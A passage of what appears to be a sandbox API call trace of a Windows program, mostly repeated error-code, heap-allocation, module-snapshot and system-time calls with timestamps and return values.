(dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.725] GetLastError () returned 0x0 [0054.725] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.726] SetLastError (dwErrCode=0x0) [0054.726] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.727] SetLastError (dwErrCode=0x0) [0054.727] GetLastError () returned 0x0 [0054.728] SetLastError (dwErrCode=0x0) [0054.728] GetLastError () returned 0x0 [0054.728] SetLastError (dwErrCode=0x0) [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x98) returned 0x1d1a00 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1f) returned 0x1d1aa0 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x36) returned 0x1d1ac8 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x37) returned 0x1d1b08 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x3c) returned 0x1d1b48 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x31) returned 0x1d1b90 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x17) returned 0x1d1bd0 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x24) returned 0x1d1bf0 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x14) returned 0x1d1c20 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xd) returned 0x1d1c40 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x25) returned 0x1d1c58 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x39) returned 0x1d1c88 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1d1cd0 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x17) returned 0x1d1cf0 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xe) returned 0x1d1d10 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x69) returned 0x1d1d28 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x3e) returned 0x1d1da0 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1b) returned 0x1d1de8 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1d) returned 0x1d1e10 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x48) returned 0x1d1e38 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x12) returned 0x1d1e88 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1d1ea8 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1b) returned 0x1d1ec8 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x24) returned 0x1d1ef0 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x29) returned 0x1d1f20 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d1f58 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x41) returned 0x1d1f80 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x17) returned 0x1d1fd0 [0054.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xf) returned 0x1d1ff0 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x16) returned 0x1d2008 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2a) returned 0x1d2028 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x29) returned 0x1d2060 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x15) returned 0x1d2098 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d20b8 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2a) returned 0x1d20e0 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x12) returned 0x1d2118 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1d2138 [0054.729] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x46) returned 0x1d2158 [0054.729] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d11f8 | out: hHeap=0x1d0000) returned 1 [0054.730] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x800) returned 0x1d21a8 [0054.730] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1d11f8 [0054.730] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e69) returned 0x0 [0054.730] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1d11f8) returned 0x80 [0054.730] GetLastError () returned 0x0 [0054.730] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.731] SetLastError (dwErrCode=0x0) [0054.731] GetLastError () returned 0x0 [0054.732] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.732] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0054.732] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0054.732] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0054.734] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0054.734] PeekMessageA (in: lpMsg=0x18fa38, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa38) returned 0 [0054.734] GetTickCount () returned 0x1c7d0 [0054.734] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.735] GetACP () returned 0x4e4 [0054.735] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.735] GetACP () returned 0x4e4 [0054.735] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.735] GetACP () returned 0x4e4 [0054.735] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.735] GetACP () returned 0x4e4 [0054.735] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.735] GetACP () returned 0x4e4 [0054.735] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.735] GetACP () returned 0x4e4 [0054.735] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.735] GetACP () returned 0x4e4 [0054.735] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.735] GetACP () returned 0x4e4 [0054.735] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.736] GetACP () returned 0x4e4 [0054.736] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.736] GetACP () returned 0x4e4 [0054.736] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.736] GetACP () returned 0x4e4 [0054.736] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.736] GetACP () returned 0x4e4 [0054.736] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.736] GetACP () returned 0x4e4 [0054.736] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.736] GetACP () returned 0x4e4 [0054.736] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.736] GetACP () returned 0x4e4 [0054.736] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.737] GetACP () returned 0x4e4 [0054.737] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.737] GetACP () returned 0x4e4 [0054.737] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.737] GetACP () returned 0x4e4 [0054.737] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.737] GetACP () returned 0x4e4 [0054.737] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.737] GetACP () returned 0x4e4 [0054.737] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.737] GetACP () returned 0x4e4 [0054.737] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.737] GetACP () returned 0x4e4 [0054.737] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.737] GetACP () returned 0x4e4 [0054.737] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.738] GetACP () returned 0x4e4 [0054.738] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.739] GetACP () returned 0x4e4 [0054.739] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: 